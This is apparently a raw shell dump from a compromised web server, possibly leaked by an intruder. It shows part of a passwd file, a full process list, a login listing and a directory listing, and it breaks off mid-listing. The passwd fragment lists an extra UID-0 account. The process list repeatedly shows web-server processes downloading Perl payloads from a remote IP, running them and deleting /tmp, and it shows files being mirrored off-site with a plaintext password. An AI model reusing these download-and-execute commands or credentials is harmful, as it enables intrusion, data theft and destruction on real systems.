User:/var/lib/nfs:/sbin/nologin nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin avahi:x:70:70:Avahi daemon:/:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin sashroot:x:0:500:sashroot:/sashroot:/bin/bash osiris:x:300:300:Osiris Daemon:/var/lib/osiris:/sbin/nologin puppet:x:301:301:Puppet:/var/lib/puppet:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin vhost:*:310:310:Vhost User:/home/vhost:/bin/bash rtstats:*:442:442:RTstats user:/var/local/stats:/bin/bash nginx:x:443:443:Nginx user:/var/lib/nginx:/bin/false nrpe:x:444:446:NRPE user for the NRPE service:/:/sbin/nologin dummy:*:103:103:projectweb dummy user:/home/dummy:/bin/false www:*:448:448:WWW User:/var/www:/bin/bash sfeng:*:333:333:SF Engineer:/home/sfeng:/bin/rbash sfeng2:*:332:332:SF Engineer 2:/home/sfeng2:/bin/bash avahi-autoipd:x:449:449:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin munin:x:450:450:Munin user:/var/lib/munin:/sbin/nologin rrdcached:x:451:451:rrdcached:/var/rrdtool/rrdcached:/sbin/nologin $ ps auxwww USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 10352 80 ? Ss Sep28 0:46 init [3] root 2 0.0 0.0 0 0 ? S< Sep28 1:58 [migration/0] root 3 0.0 0.0 0 0 ? SN Sep28 0:01 [ksoftirqd/0] root 4 0.0 0.0 0 0 ? S< Sep28 0:00 [watchdog/0] root 5 0.0 0.0 0 0 ? S< Sep28 0:03 [migration/1] root 6 0.0 0.0 0 0 ? SN Sep28 0:48 [ksoftirqd/1] root 7 0.0 0.0 0 0 ? S< Sep28 0:00 [watchdog/1] root 8 0.0 0.0 0 0 ? S< Sep28 0:03 [migration/2] root 9 0.0 0.0 0 0 ? SN Sep28 0:09 [ksoftirqd/2] root 10 0.0 0.0 0 0 ? S< Sep28 0:00 [watchdog/2] root 11 0.0 0.0 0 0 ? S< Sep28 0:03 [migration/3] root 12 0.0 0.0 0 0 ? SN Sep28 1:42 [ksoftirqd/3] root 13 0.0 0.0 0 0 ? S< Sep28 0:00 [watchdog/3] root 14 0.0 0.0 0 0 ? S< Sep28 0:14 [migration/4] root 15 0.0 0.0 0 0 ? SN Sep28 0:02 [ksoftirqd/4] root 16 0.0 0.0 0 0 ? S< Sep28 0:00 [watchdog/4] root 17 0.0 0.0 0 0 ? S< Sep28 0:20 [migration/5] root 18 0.0 0.0 0 0 ? SN Sep28 0:04 [ksoftirqd/5] root 19 0.0 0.0 0 0 ? S< Sep28 0:00 [watchdog/5] root 20 0.0 0.0 0 0 ? S< Sep28 0:09 [migration/6] root 21 0.0 0.0 0 0 ? SN Sep28 0:03 [ksoftirqd/6] root 22 0.0 0.0 0 0 ? S< Sep28 0:00 [watchdog/6] root 23 0.0 0.0 0 0 ? S< Sep28 0:08 [migration/7] root 24 0.0 0.0 0 0 ? SN Sep28 0:03 [ksoftirqd/7] root 25 0.0 0.0 0 0 ? S< Sep28 0:00 [watchdog/7] root 26 0.0 0.0 0 0 ? S< Sep28 0:00 [events/0] root 27 0.0 0.0 0 0 ? S< Sep28 0:00 [events/1] root 28 0.0 0.0 0 0 ? S< Sep28 0:00 [events/2] root 29 0.0 0.0 0 0 ? S< Sep28 0:00 [events/3] root 30 0.0 0.0 0 0 ? S< Sep28 0:00 [events/4] root 31 0.0 0.0 0 0 ? S< Sep28 0:00 [events/5] root 32 0.0 0.0 0 0 ? S< Sep28 0:00 [events/6] root 33 0.0 0.0 0 0 ? S< Sep28 0:00 [events/7] root 34 0.0 0.0 0 0 ? S< Sep28 0:00 [khelper] root 105 0.0 0.0 0 0 ? S< Sep28 0:00 [kthread] root 116 0.0 0.0 0 0 ? S< Sep28 0:00 [kblockd/0] root 117 0.0 0.0 0 0 ? S< Sep28 0:01 [kblockd/1] root 118 0.0 0.0 0 0 ? S< Sep28 0:00 [kblockd/2] root 119 0.0 0.0 0 0 ? S< Sep28 0:01 [kblockd/3] root 120 0.0 0.0 0 0 ? S< Sep28 0:00 [kblockd/4] root 121 0.0 0.0 0 0 ? S< Sep28 0:00 [kblockd/5] root 122 0.0 0.0 0 0 ? S< Sep28 0:00 [kblockd/6] root 123 0.0 0.0 0 0 ? S< Sep28 0:01 [kblockd/7] root 124 0.0 0.0 0 0 ? S< Sep28 0:00 [kacpid] root 237 0.0 0.0 0 0 ? S< Sep28 0:00 [cqueue/0] root 238 0.0 0.0 0 0 ? S< Sep28 0:00 [cqueue/1] root 239 0.0 0.0 0 0 ? S< Sep28 0:00 [cqueue/2] root 240 0.0 0.0 0 0 ? S< Sep28 0:00 [cqueue/3] root 241 0.0 0.0 0 0 ? S< Sep28 0:00 [cqueue/4] root 242 0.0 0.0 0 0 ? S< Sep28 0:00 [cqueue/5] root 243 0.0 0.0 0 0 ? S< Sep28 0:00 [cqueue/6] root 244 0.0 0.0 0 0 ? S< Sep28 0:00 [cqueue/7] root 247 0.0 0.0 0 0 ? S< Sep28 0:00 [khubd] root 249 0.0 0.0 0 0 ? S< Sep28 0:00 [kseriod] root 364 0.0 0.0 0 0 ? S Sep28 0:00 [khungtaskd] root 367 0.0 0.0 0 0 ? S< Sep28 29:37 [kswapd0] root 368 0.0 0.0 0 0 ? S< Sep28 0:00 [aio/0] root 369 0.0 0.0 0 0 ? S< Sep28 0:00 [aio/1] root 370 0.0 0.0 0 0 ? S< Sep28 0:00 [aio/2] root 371 0.0 0.0 0 0 ? S< Sep28 0:00 [aio/3] root 372 0.0 0.0 0 0 ? S< Sep28 0:00 [aio/4] root 373 0.0 0.0 0 0 ? S< Sep28 0:00 [aio/5] root 374 0.0 0.0 0 0 ? S< Sep28 0:00 [aio/6] root 375 0.0 0.0 0 0 ? S< Sep28 0:00 [aio/7] root 539 0.0 0.0 0 0 ? S< Sep28 0:00 [kpsmoused] root 618 0.0 0.0 0 0 ? S< Sep28 0:00 [scsi_eh_0] root 637 0.0 0.0 0 0 ? S< Sep28 0:00 [ata/0] root 638 0.0 0.0 0 0 ? S< Sep28 0:00 [ata/1] root 639 0.0 0.0 0 0 ? S< Sep28 0:00 [ata/2] root 640 0.0 0.0 0 0 ? S< Sep28 0:00 [ata/3] root 641 0.0 0.0 0 0 ? S< Sep28 0:00 [ata/4] root 642 0.0 0.0 0 0 ? S< Sep28 0:00 [ata/5] root 643 0.0 0.0 0 0 ? S< Sep28 0:00 [ata/6] root 644 0.0 0.0 0 0 ? S< Sep28 0:00 [ata/7] root 645 0.0 0.0 0 0 ? S< Sep28 0:00 [ata_aux] root 664 0.0 0.0 0 0 ? S< Sep28 0:00 [scsi_eh_1] root 665 0.0 0.0 0 0 ? S< Sep28 5:14 [usb-storage] root 667 0.0 0.0 0 0 ? S< Sep28 0:00 [scsi_eh_2] root 668 0.0 0.0 0 0 ? S< Sep28 1:45 [usb-storage] root 679 0.0 0.0 0 0 ? S< Sep28 0:00 [kstriped] root 716 0.0 0.0 0 0 ? S< Sep28 0:00 [ksnapd] root 755 0.0 0.0 0 0 ? S< Sep28 30:00 [kjournald] root 780 0.0 0.0 0 0 ? S< Sep28 0:02 [kauditd] root 813 0.0 0.0 12764 168 ? S<s Sep28 0:00 /sbin/udevd -d root 1571 0.0 0.0 0 0 ? S< Sep28 0:00 [kedac] root 2416 0.0 0.0 0 0 ? S< Sep28 0:00 [kmpathd/0] root 2417 0.0 0.0 0 0 ? S< Sep28 0:00 [kmpathd/1] root 2418 0.0 0.0 0 0 ? S< Sep28 0:00 [kmpathd/2] root 2419 0.0 0.0 0 0 ? S< Sep28 0:00 [kmpathd/3] root 2420 0.0 0.0 0 0 ? S< Sep28 0:00 [kmpathd/4] root 2421 0.0 0.0 0 0 ? S< Sep28 0:00 [kmpathd/5] root 2422 0.0 0.0 0 0 ? S< Sep28 0:00 [kmpathd/6] root 2423 0.0 0.0 0 0 ? S< Sep28 0:00 [kmpathd/7] root 2424 0.0 0.0 0 0 ? S< Sep28 0:00 [kmpath_handlerd] root 2448 0.0 0.0 0 0 ? S< Sep28 0:00 [kjournald] root 2931 0.0 0.0 0 0 ? S< Sep28 0:00 [bond0] root 3221 0.0 0.0 92864 476 ? S<sl Sep28 2:13 auditd root 3223 0.0 0.0 81804 292 ? S<sl Sep28 2:33 /sbin/audispd root 3253 0.0 0.0 5912 308 ? Ss Sep28 1:09 syslogd -m 0 root 3256 0.0 0.0 3808 196 ? Ss Sep28 0:15 klogd -x root 3270 0.0 0.0 10764 280 ? Ss Sep28 1:06 irqbalance named 3307 0.0 0.0 291644 3428 ? Ssl Sep28 79:54 /usr/sbin/named -u named rpc 3341 0.0 0.0 8056 32 ? Ss Sep28 0:00 portmap root 3378 0.0 0.0 0 0 ? S< Sep28 44:14 [rpciod/0] root 3379 0.0 0.0 0 0 ? S< Sep28 0:19 [rpciod/1] root 3380 0.0 0.0 0 0 ? S< Sep28 0:16 [rpciod/2] root 3381 0.0 0.0 0 0 ? S< Sep28 0:19 [rpciod/3] root 3382 0.0 0.0 0 0 ? S< Sep28 1:01 [rpciod/4] root 3383 0.0 0.0 0 0 ? S< Sep28 0:17 [rpciod/5] root 3384 0.0 0.0 0 0 ? S< Sep28 0:16 [rpciod/6] root 3385 0.0 0.0 0 0 ? S< Sep28 0:18 [rpciod/7] rpcuser 3398 0.0 0.0 10164 212 ? Ss Sep28 0:00 rpc.statd root 3421 0.0 0.0 55448 4 ? Ss Sep28 0:00 rpc.idmapd dbus 3444 0.0 0.0 21260 4 ? Ss Sep28 0:00 dbus-daemon --system root 3498 0.0 0.0 0 0 ? S< Sep28 9:35 [nfsiod] root 3499 0.0 0.0 0 0 ? S Sep28 0:00 [lockd] root 3568 0.0 0.0 3804 4 ? Ss Sep28 0:00 /usr/sbin/acpid nscd 3589 0.0 0.0 252376 828 ? Ssl Sep28 24:19 /usr/sbin/nscd root 3630 0.0 0.0 67656 332 ? Ss Sep28 0:48 /usr/sbin/sshd root 3647 0.0 0.0 22072 412 ? Ss Sep28 1:15 xinetd -stayalive -pidfile /var/run/xinetd.pid ntp 3667 0.0 0.0 23820 5452 ? SLs Sep28 0:31 ntpd -u ntp:ntp -p /var/run/ntpd.pid exim 3686 0.0 0.0 80572 580 ? Ss Sep28 0:35 /usr/sbin/exim -bd -q1h root 3824 0.0 0.0 72920 488 ? Ss Sep28 0:36 crond root 3839 0.0 0.0 95052 3052 ? Ss Sep28 0:36 /usr/sbin/munin-node root 4211 0.0 0.0 69544 4 ? Ssl Oct13 0:00 sfcbd -d root 4213 0.0 0.0 59300 4 ? S Oct13 0:00 sfcbd -d root 4214 0.0 0.0 71740 4 ? S Oct13 0:00 sfcbd -d root 4274 0.0 0.0 159036 3408 ? Sl Oct13 5:06 /usr/sbin/snmpd -LSnd -Lf /dev/null -p /var/run/snmpd.pid -a -c /etc/snmp/snmpd.sfinc-utils.conf root 4303 0.0 0.0 61380 4 ? S Oct13 0:00 sfcbd -d root 4417 0.0 0.0 0 0 ? S Nov24 0:12 [pdflush] root 4565 0.0 0.0 279692 2792 ? Ssl Oct13 8:44 /opt/dell/srvadmin/sbin/dsm_sa_datamgrd root 4568 0.0 0.0 61360 4 ? S Oct13 0:00 sfcbd -d root 4571 0.0 0.0 73688 4 ? S Oct13 0:00 sfcbd -d root 4864 0.0 0.0 174704 528 ? Ssl Oct13 0:36 /opt/dell/srvadmin/sbin/dsm_sa_eventmgrd root 4925 0.0 0.0 254748 2084 ? Ssl Oct13 15:43 /opt/dell/srvadmin/sbin/dsm_sa_snmpd avahi 5106 0.0 0.0 21612 532 ? Ss Sep28 0:00 avahi-daemon: running [sfp-web-9.local] avahi 5107 0.0 0.0 21480 200 ? Ss Sep28 0:00 avahi-daemon: chroot helper 68 5156 0.0 0.0 29540 1216 ? Ss Sep28 0:52 hald root 5157 0.0 0.0 21700 448 ? S Sep28 0:00 hald-runner 68 5188 0.0 0.0 10656 484 ? S Sep28 0:00 hald-addon-acpi: listening on acpid socket /var/run/acpid.socket 68 5200 0.0 0.0 10660 480 ? S Sep28 0:00 hald-addon-keyboard: listening on /dev/input/event0 root 5208 0.0 0.0 10232 432 ? S Sep28 4:39 hald-addon-storage: polling /dev/scd0 root 5213 0.0 0.0 10232 432 ? S Sep28 1:13 hald-addon-storage: polling /dev/hda root 5215 0.0 0.0 10232 440 ? S Sep28 1:07 hald-addon-storage: polling /dev/sdb root 5245 0.0 0.0 35904 240 ? S Sep28 0:00 /usr/sbin/osirisd -r /var/lib/osiris osiris 5246 0.0 0.0 36116 748 ? S Sep28 0:00 /usr/sbin/osirisd -r /var/lib/osiris root 5249 0.0 0.0 3796 436 tty1 Ss+ Sep28 0:00 /sbin/mingetty tty1 root 5250 0.0 0.0 3796 436 tty2 Ss+ Sep28 0:00 /sbin/mingetty tty2 root 5251 0.0 0.0 3796 436 tty3 Ss+ Sep28 0:00 /sbin/mingetty tty3 root 5252 0.0 0.0 3796 436 tty4 Ss+ Sep28 0:00 /sbin/mingetty tty4 root 5254 0.0 0.0 3796 436 tty5 Ss+ Sep28 0:00 /sbin/mingetty tty5 root 5256 0.0 0.0 3796 436 tty6 Ss+ Sep28 0:00 /sbin/mingetty tty6 apache 5767 0.0 0.0 8704 828 ? S Nov18 0:00 sh -c cd /tmp;rm -rf *;lftpget http://95.178.16.118/scax.txt;perl scax.txt;cd /tmp; rm -rf * apache 5769 0.0 0.0 58608 1508 ? S Nov18 0:00 lftp -c set cmd:at-exit;set xfer:max-redirections 16; get1 "http://95.178.16.118/scax.txt"; apache 8772 0.0 0.4 395468 38516 ? S Nov23 0:02 /usr/sbin/httpd apache 9928 0.0 0.4 393956 39732 ? S Nov24 0:05 /usr/sbin/httpd root 10444 0.0 0.0 316928 6416 ? Ss Nov16 0:27 /usr/sbin/httpd root 10445 0.0 0.0 3852 504 ? S Nov16 1:57 /usr/sbin/cronolog --symlink=/var/local/log/error_log /var/local/log/%Y/%m/%d/error.log root 10447 0.0 0.0 3848 440 ? S Nov16 1:23 /usr/sbin/cronolog --symlink=/var/local/log/vhost_log /var/local/log/%Y/%m/%d/vhost_log root 10448 0.0 0.0 3848 460 ? S Nov16 5:50 /usr/sbin/cronolog --symlink=/var/local/log/access_log /var/local/log/%Y/%m/%d/access_log root 10449 0.0 0.0 3856 440 ? S Nov16 0:03 /usr/sbin/cronolog --symlink=/var/local/log/developerweb_log /var/local/log/%Y/%m/%d/developerweb_log root 10450 0.0 0.2 125312 18580 ? Sl Nov16 10:28 /usr/bin/perl -w /var/local/mastertree/host/sfp-web/scripts/vhost_rewriter apache 10865 0.0 0.3 390016 25028 ? S Nov24 0:01 /usr/sbin/httpd apache 11814 0.0 0.0 8704 1016 ? S Nov24 0:00 sh -c cd /tmp;rm -rf *;lftpget http://95.178.16.118/scax.txt;perl scax.txt;cd /tmp; rm -rf * apache 11816 0.0 0.0 58608 2620 ? S Nov24 0:00 lftp -c set cmd:at-exit;set xfer:max-redirections 16; get1 "http://95.178.16.118/scax.txt"; apache 12188 0.0 0.0 8704 980 ? S Nov24 0:00 sh -c cd /tmp;lftpget http://95.178.16.118/b;chmod x b;perl b;cd /tmp;rm -rf *; apache 12189 0.0 0.0 58616 2624 ? S Nov24 0:00 lftp -c set cmd:at-exit;set xfer:max-redirections 16; get1 "http://95.178.16.118/b"; root 12523 0.0 0.0 56648 392 ? Ss Nov04 0:00 nginx: master process /usr/sbin/nginx -c /etc/nginx/nginx.conf nginx 12524 0.2 0.0 57388 1500 ? S Nov04 68:37 nginx: worker process nginx 12525 0.1 0.0 57764 1840 ? S Nov04 59:01 nginx: worker process nginx 12526 0.2 0.0 57456 1520 ? S Nov04 64:31 nginx: worker process nginx 12527 0.2 0.0 58160 2404 ? S Nov04 63:14 nginx: worker process nginx 12528 0.1 0.0 57788 1780 ? S Nov04 47:43 nginx: worker process nginx 12529 0.1 0.0 57720 1792 ? S Nov04 48:26 nginx: worker process nginx 12530 0.2 0.0 57584 1620 ? S Nov04 61:50 nginx: worker process nginx 12531 0.2 0.0 57856 1884 ? S Nov04 64:09 nginx: worker process apache 13296 0.7 0.5 411004 46200 ? S 12:18 0:04 /usr/sbin/httpd apache 13709 0.0 0.5 403000 42372 ? S Nov24 0:06 /usr/sbin/httpd rtstats 15645 1.6 0.1 179260 10884 ? S Nov16 221:11 /usr/bin/python /var/local/stats/rtstats/datasources/prweb.py --daemonize --tail --pidfile /var/run/rtstats/prweb.pid --infolog /var/log/rtstats/datasource-prweb.log --configfile /var/local/config/rtstats/datasources/prweb.cfg --configfile /var/local/stats/rtstats.cfg apache 16268 0.0 0.0 60804 1508 ? S Nov19 0:00 lftp -u GFS,87dbcvwx15s4f56ds54f perfo-lehavre.no-ip.org -p 146 -e lcd "/home/groups/f/fl/florianrobinet/htdocs/GFS/Archives"; mirror -s -R --Remove-source-files; exit apache 17814 0.0 0.0 8704 1040 ? S Nov24 0:00 sh -c cd /tmp;rm -rf *;lftpget http://95.178.16.118/scax.txt;perl scax.txt;cd /tmp; rm -rf * apache 17818 0.0 0.0 58608 2620 ? S Nov24 0:00 lftp -c set cmd:at-exit;set xfer:max-redirections 16; get1 "http://95.178.16.118/scax.txt"; apache 18478 0.0 0.3 391904 28156 ? S 03:26 0:13 /usr/sbin/httpd apache 18960 2.8 0.5 398652 45604 ? S 12:25 0:05 /usr/sbin/httpd apache 19043 2.5 0.4 398116 33464 ? S 12:25 0:05 /usr/sbin/httpd apache 19055 4.9 0.5 405644 41216 ? S 12:25 0:09 /usr/sbin/httpd apache 19056 2.9 0.4 402072 37836 ? S 12:25 0:05 /usr/sbin/httpd apache 19077 2.5 0.4 399132 35544 ? S 12:25 0:04 /usr/sbin/httpd apache 19093 3.0 0.4 397244 34216 ? S 12:25 0:05 /usr/sbin/httpd apache 19094 3.1 0.5 398832 43744 ? S 12:25 0:05 /usr/sbin/httpd apache 19741 0.0 0.0 8704 1028 ? S 03:29 0:00 sh -c cd /tmp;rm -rf *;lftpget http://95.178.16.118/scax.txt;perl scax.txt;cd /tmp; rm -rf * apache 19745 0.0 0.0 58608 2616 ? S 03:29 0:00 lftp -c set cmd:at-exit;set xfer:max-redirections 16; get1 "http://95.178.16.118/scax.txt"; apache 19789 2.0 0.4 394212 36988 ? S 12:27 0:02 /usr/sbin/httpd apache 19903 2.4 0.4 396360 37188 ? S 12:27 0:02 /usr/sbin/httpd apache 19945 2.7 0.3 395120 30760 ? S 12:27 0:02 /usr/sbin/httpd apache 20138 3.1 0.3 395072 30492 ? S 12:27 0:02 /usr/sbin/httpd apache 20203 2.0 0.4 394404 35928 ? S 12:27 0:01 /usr/sbin/httpd apache 20274 3.0 0.3 397052 30000 ? S 12:27 0:02 /usr/sbin/httpd apache 20434 0.0 0.3 401880 29916 ? S Nov24 0:28 /usr/sbin/httpd apache 20439 2.5 0.3 393252 30576 ? S 12:28 0:01 /usr/sbin/httpd apache 22124 0.0 0.4 401232 34788 ? S Nov24 0:05 /usr/sbin/httpd apache 23720 0.0 0.0 8704 1008 ? S Nov24 0:00 sh -c cd /tmp;rm -rf *;lftpget http://95.178.16.118/scax.txt;perl scax.txt;cd /tmp; rm -rf * apache 23722 0.0 0.0 58608 2620 ? S Nov24 0:00 lftp -c set cmd:at-exit;set xfer:max-redirections 16; get1 "http://95.178.16.118/scax.txt"; apache 24614 0.0 0.0 8704 1020 ? S Nov24 0:00 sh -c cd /tmp;rm -rf *;lftpget http://95.178.16.118/scax.txt;perl scax.txt;cd /tmp; rm -rf * apache 24616 0.0 0.0 58608 2624 ? S Nov24 0:00 lftp -c set cmd:at-exit;set xfer:max-redirections 16; get1 "http://95.178.16.118/scax.txt"; apache 24714 0.0 0.1 377988 12680 ? S Nov24 0:00 /usr/sbin/httpd apache 24719 0.0 0.0 8704 980 ? S Nov24 0:00 sh -c cd /tmp;lftpget http://95.178.16.118/b;chmod x b;perl b;cd /tmp;rm -rf *; apache 24720 0.0 0.0 58616 2624 ? S Nov24 0:00 lftp -c set cmd:at-exit;set xfer:max-redirections 16; get1 "http://95.178.16.118/b"; apache 25971 0.0 0.0 8704 828 ? S Nov21 0:00 sh -c cd /tmp;rm -rf *;lftpget http://95.178.16.118/scax.txt;perl scax.txt;cd /tmp; rm -rf * apache 25974 0.0 0.0 58608 1512 ? S Nov21 0:00 lftp -c set cmd:at-exit;set xfer:max-redirections 16; get1 "http://95.178.16.118/scax.txt"; root 27631 0.0 0.0 0 0 ? S Nov23 0:00 [pdflush] apache 31023 0.0 0.1 399148 8908 ? S Nov23 0:04 /usr/sbin/httpd apache 31873 0.0 0.3 388288 25512 ? S 01:48 0:01 /usr/sbin/httpd apache 32062 0.0 0.0 8704 1064 ? S 01:48 0:00 sh -c cd /tmp;rm -rf *;lftpget http://95.178.16.118/scax.txt;perl scax.txt;cd /tmp; rm -rf * apache 32067 0.0 0.0 58608 2620 ? S 01:48 0:00 lftp -c set cmd:at-exit;set xfer:max-redirections 16; get1 "http://95.178.16.118/scax.txt"; apache 32288 0.0 0.0 8704 820 ? S Nov23 0:00 sh -c cd /tmp;lftpget http://95.178.16.118/b;chmod x b;perl b;cd /tmp;rm -rf *; apache 32289 0.0 0.0 58608 1508 ? S Nov23 0:00 lftp -c set cmd:at-exit;set xfer:max-redirections 16; get1 "http://95.178.16.118/b"; $ w 12:28:48 up 30 days, 40 min, 1 user, load average: 0.65, 0.64, 0.66 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root pts/0 sec-sog-2.v99.ch 04:17 8:03m 0.11s 0.11s -bash $ ls -lah /home/groups/e/et/ettercap/htdocs/ total 2.7M drwxrwsr-x 8 dummy 18435 2.0K Oct 18 2009 . drwxrws--x 5 dummy 18435 1.0K Sep 17 2008 .. -rw-r--r-- 1 42100 18435 2.2K Dec 21 2004 authors.php drwxr-xr-x 2 42100 18435 2.0K Aug 9 2008 devel -rw-r--r-- 1 42100 18435 1.6K Apr 15 2004 download.php -rw-r--r-- 1 42100 18435 2.7K Apr 24 2004 fingerprint.php drwx--x--x 10 42100 18435 2.0K O